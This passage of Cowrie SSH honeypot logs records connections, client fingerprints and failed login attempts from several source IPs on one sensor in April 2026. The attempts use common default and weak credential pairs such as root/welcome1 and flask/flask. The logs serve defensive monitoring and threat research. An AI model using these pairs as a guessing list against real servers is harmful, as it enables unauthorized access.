ha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:47.761463Z","src_ip":"176.65.139.95","session":"023eeda067d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41920,"dst_ip":"159.203.135.109","dst_port":22,"session":"4427b3f7fd65","protocol":"ssh","message":"New connection: 192.109.200.78:41920 (159.203.135.109:22) [session: 4427b3f7fd65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:47.945558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:47.950769Z","src_ip":"192.109.200.78","session":"4427b3f7fd65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:48.039145Z","src_ip":"192.109.200.78","session":"4427b3f7fd65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"welcome1","message":"login attempt [root/welcome1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:48.276223Z","src_ip":"176.65.139.95","session":"023eeda067d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:48.296981Z","src_ip":"192.109.200.78","session":"4427b3f7fd65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:49.363627Z","src_ip":"176.65.139.95","session":"023eeda067d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:49.683015Z","src_ip":"192.109.200.78","session":"4427b3f7fd65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55304,"dst_ip":"159.203.135.109","dst_port":22,"session":"33bdacd7d164","protocol":"ssh","message":"New connection: 192.109.200.78:55304 (159.203.135.109:22) [session: 33bdacd7d164]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:53.483904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:53.488635Z","src_ip":"192.109.200.78","session":"33bdacd7d164","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:53.570346Z","src_ip":"192.109.200.78","session":"33bdacd7d164","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"123456","message":"login attempt [newuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:53.821630Z","src_ip":"192.109.200.78","session":"33bdacd7d164","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":47918,"dst_ip":"159.203.135.109","dst_port":22,"session":"96dcaab6e8b8","protocol":"ssh","message":"New connection: 176.65.139.95:47918 (159.203.135.109:22) [session: 96dcaab6e8b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:54.437695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:54.446049Z","src_ip":"176.65.139.95","session":"96dcaab6e8b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:54.556339Z","src_ip":"176.65.139.95","session":"96dcaab6e8b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flask","password":"flask","message":"login attempt [flask/flask] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:54.833262Z","src_ip":"176.65.139.95","session":"96dcaab6e8b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:54.907423Z","src_ip":"192.109.200.78","session":"33bdacd7d164","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":47880,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f968dc13082","protocol":"ssh","message":"New connection: 170.79.37.88:47880 (159.203.135.109:22) [session: 1f968dc13082]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:55.393908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:55.876983Z","src_ip":"170.79.37.88","session":"1f968dc13082","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:55.944470Z","src_ip":"176.65.139.95","session":"96dcaab6e8b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:55.972275Z","src_ip":"170.79.37.88","session":"1f968dc13082","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"ssssssssss","message":"login attempt [mysql/ssssssssss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:56.415526Z","src_ip":"170.79.37.88","session":"1f968dc13082","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":55306,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d689c08b514","protocol":"ssh","message":"New connection: 192.109.200.78:55306 (159.203.135.109:22) [session: 2d689c08b514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:56.881067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:56.886122Z","src_ip":"192.109.200.78","session":"2d689c08b514","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:56.976575Z","src_ip":"192.109.200.78","session":"2d689c08b514","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:57.225944Z","src_ip":"192.109.200.78","session":"2d689c08b514","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:57.519619Z","src_ip":"170.79.37.88","session":"1f968dc13082","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:28:58.342287Z","src_ip":"192.109.200.78","session":"2d689c08b514","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58628,"dst_ip":"159.203.135.109","dst_port":22,"session":"448e02efdbf0","protocol":"ssh","message":"New connection: 159.203.92.129:58628 (159.203.135.109:22) [session: 448e02efdbf0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:00.847001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:00.851851Z","src_ip":"159.203.92.129","session":"448e02efdbf0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:00.857460Z","src_ip":"159.203.92.129","session":"448e02efdbf0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"PYX","password":"123456","message":"login attempt [PYX/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:00.873319Z","src_ip":"159.203.92.129","session":"448e02efdbf0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":56450,"dst_ip":"159.203.135.109","dst_port":22,"session":"2604bbb6262c","protocol":"ssh","message":"New connection: 176.65.139.95:56450 (159.203.135.109:22) [session: 2604bbb6262c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:01.098766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:01.104994Z","src_ip":"176.65.139.95","session":"2604bbb6262c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:01.199263Z","src_ip":"176.65.139.95","session":"2604bbb6262c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43102,"dst_ip":"159.203.135.109","dst_port":22,"session":"3575dc94da69","protocol":"ssh","message":"New connection: 192.109.200.78:43102 (159.203.135.109:22) [session: 3575dc94da69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:01.261163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:01.267833Z","src_ip":"192.109.200.78","session":"3575dc94da69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:01.354974Z","src_ip":"192.109.200.78","session":"3575dc94da69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:01.614027Z","src_ip":"192.109.200.78","session":"3575dc94da69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uploader","password":"uploader","message":"login attempt [uploader/uploader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:01.620686Z","src_ip":"176.65.139.95","session":"2604bbb6262c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:01.882938Z","src_ip":"159.203.92.129","session":"448e02efdbf0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:29:02.703773Z","src_ip":"192.109.200.78","session":"3575dc94da69","protocol":"ssh"}
